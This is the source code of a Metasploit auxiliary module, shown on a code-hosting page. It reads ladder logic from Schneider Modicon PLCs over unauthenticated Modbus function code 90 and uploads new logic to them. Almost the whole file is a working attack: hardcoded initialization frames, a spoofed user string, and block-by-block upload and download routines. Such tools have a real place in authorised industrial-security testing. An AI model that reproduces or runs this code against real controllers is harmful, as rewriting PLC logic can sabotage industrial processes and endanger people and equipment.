Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Rex::Socket::Tcp89def initialize(info = {})10super(update_info(info,11'Name' => 'Schneider Modicon Ladder Logic Upload/Download',12'Description' => %q{13The Schneider Modicon with Unity series of PLCs use Modbus function14code 90 (0x5a) to send and receive ladder logic. The protocol is15unauthenticated, and allows a rogue host to retrieve the existing16logic and to upload new logic.1718Two modes are supported: "SEND" and "RECV," which behave as one might19expect -- use 'set mode ACTIONAME' to use either mode of operation.2021In either mode, FILENAME must be set to a valid path to an existing22file (for SENDing) or a new file (for RECVing), and the directory must23already exist. The default, 'modicon_ladder.apx' is a blank24ladder logic file which can be used for testing.2526This module is based on the original 'modiconstux.rb' Basecamp module from27DigitalBond.28},29'Author' =>30[31'K. Reid Wightman <wightman[at]digitalbond.com>', # original module32'todb' # Metasploit fixups33],34'License' => MSF_LICENSE,35'References' =>36[37[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]38],39'DisclosureDate' => '2012-04-05'40))4142register_options(43[44OptString.new('FILENAME',45[46true,47"The file to send or receive",48File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")49]),50OptEnum.new("MODE", [true, 'File transfer operation', "SEND",51[52"SEND",53"RECV"54]55]),56Opt::RPORT(502)57])5859end6061def run62unless valid_filename?63print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"64return nil65end66@modbuscounter = 0x0000 # used for modbus frames67connect68init69case datastore['MODE']70when "SEND"71writefile72when "RECV"73readfile74end75end7677def valid_filename?78if datastore['MODE'] == "SEND"79File.readable? datastore['FILENAME']80else81File.writable?(File.split(datastore['FILENAME'])[0].to_s)82end83end8485# this is used for building a Modbus frame86# just prepends the payload with a modbus header87def makeframe(packetdata)88if packetdata.size > 25589print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")90return91end92payload = ""93payload += [@modbuscounter].pack("n")94payload += "\x00\x00\x00" #dunno what these are95payload += [packetdata.size].pack("c") # size byte96payload += packetdata97end9899# a wrapper just to be sure we increment the counter100def sendframe(payload)101sock.put(payload)102@modbuscounter += 1103# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.104r = sock.recv(65535, 0.1)105return r106end107108# This function sends some initialization requests109# required for priming the Quantum110def init111payload = "\x00\x5a\x00\x02"112sendframe(makeframe(payload))113payload = "\x00\x5a\x00\x01\x00"114sendframe(makeframe(payload))115payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9116sendframe(makeframe(payload))117payload = "\x00\x5a\x00\x03\x00"118sendframe(makeframe(payload))119payload = "\x00\x5a\x00\x03\x04"120sendframe(makeframe(payload))121payload = "\x00\x5a\x00\x04"122sendframe(makeframe(payload))123payload = "\x00\x5a\x00\x01\x00"124sendframe(makeframe(payload))125payload = "\x00\x5a\x00\x0a\x00"126(0..0xf9).each { |x| payload += [x].pack("c") }127sendframe(makeframe(payload))128payload = "\x00\x5a\x00\x04"129sendframe(makeframe(payload))130payload = "\x00\x5a\x00\x04"131sendframe(makeframe(payload))132payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"133sendframe(makeframe(payload))134payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"135sendframe(makeframe(payload))136payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"137sendframe(makeframe(payload))138payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"139sendframe(makeframe(payload))140payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"141sendframe(makeframe(payload))142payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"143sendframe(makeframe(payload))144payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"145sendframe(makeframe(payload))146payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"147sendframe(makeframe(payload))148payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"149sendframe(makeframe(payload))150payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"151sendframe(makeframe(payload))152payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"153sendframe(makeframe(payload))154payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"155sendframe(makeframe(payload))156payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"157payload += "USER-714E74F21B" # Yep, really158#payload += "META-SPLOITMETA"159sendframe(makeframe(payload))160payload = "\x00\x5a\x01\x04"161sendframe(makeframe(payload))162payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"163sendframe(makeframe(payload))164payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"165sendframe(makeframe(payload))166payload = "\x00\x5a\x01\x12"167sendframe(makeframe(payload))168payload = "\x00\x5a\x01\x04"169sendframe(makeframe(payload))170payload = "\x00\x5a\x01\x12"171sendframe(makeframe(payload))172payload = "\x00\x5a\x01\x04"173sendframe(makeframe(payload))174payload = "\x00\x5a\x00\x02"175sendframe(makeframe(payload))176payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"177sendframe(makeframe(payload))178payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"179sendframe(makeframe(payload))180payload = "\x00\x5a\x01\x04"181sendframe(makeframe(payload))182payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"183sendframe(makeframe(payload))184end185186# Write the contents of local file filename to the target's filenumber187# blank logic files will be available on the Digital Bond website188def writefile189print_status "#{rhost}:#{rport} - MODBUS - Sending write request"190blocksize = 244 # bytes per block in file transfer191buf = File.binread(datastore['FILENAME'])192fullblocks = buf.length / blocksize193if fullblocks > 255194print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")195return196end197lastblocksize = buf.length - (blocksize*fullblocks)198fileblocks = fullblocks199if lastblocksize != 0200fileblocks += 1201end202filetype = buf[0..2]203if filetype == "APX"204filenum = "\x01"205elsif filetype == "APB"206filenum = "\x10"207end208payload = "\x00\x5a\x00\x03\x01"209sendframe(makeframe(payload))210payload = "\x00\x5a\x00\x02"211sendframe(makeframe(payload))212payload = "\x00\x5a\x01\x04"213sendframe(makeframe(payload))214payload = "\x00\x5a\x00\x02"215sendframe(makeframe(payload))216payload = "\x00\x5a\x01\x04"217sendframe(makeframe(payload))218payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"219sendframe(makeframe(payload))220payload = "\x00\x5a\x00\x02"221sendframe(makeframe(payload))222payload = "\x00\x5a\x01\x30\x00"223payload += filenum224response = sendframe(makeframe(payload))225if response[8..9] == "\x01\xfe"226print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")227else228print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")229return230end231payload = "\x00\x5a\x01\x04"232sendframe(makeframe(payload))233block = 1234block2status = 0 # block 2 must always be sent twice235while block <= fullblocks236payload = "\x00\x5a\x01\x31\x00"237payload += filenum238payload += [block].pack("c")239payload += "\x00\xf4\x00"240payload += buf[((block - 1) * 244)..((block * 244) - 1)]241res = sendframe(makeframe(payload))242vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"243if res[8..9] != "\x01\xfe"244print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")245return246end247# redo this iteration of the loop if we're on block 2248if block2status == 0 and block == 2249print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")250block2status = 1251redo252end253block += 1254end255if lastblocksize > 0256payload = "\x00\x5a\x01\x31\x00"257payload += filenum258payload += [block].pack("c")259payload += "\x00" + [lastblocksize].pack("c") + "\x00"260payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]261vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"262res = sendframe(makeframe(payload))263if res[8..9] != "\x01\xfe"264print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")265return266end267end268vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"269payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"270sendframe(makeframe(payload))271end272273# Only reading the STL file is supported at the moment :(274def readfile275print_status "#{rhost}:#{rport} - MODBUS - Sending read request"276file = File.open(datastore['FILENAME'], 'wb')277payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"278response = sendframe(makeframe(payload))279print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")280block = 1281filedata = ""282finished = false283while !finished284payload = "\x00\x5a\x01\x34\x00\x01"285payload += [block].pack("c")286payload += "\x00"287response = sendframe(makeframe(payload))288filedata += response[0xe..-1]289vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"290if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?291finished = true292else293block += 1294end295end296print_status("#{rhost}:#{rport} - MODBUS - Closing file")297payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"298sendframe(makeframe(payload))299file.print filedata300file.close301end302303def cleanup304disconnect rescue nil305end306end307308309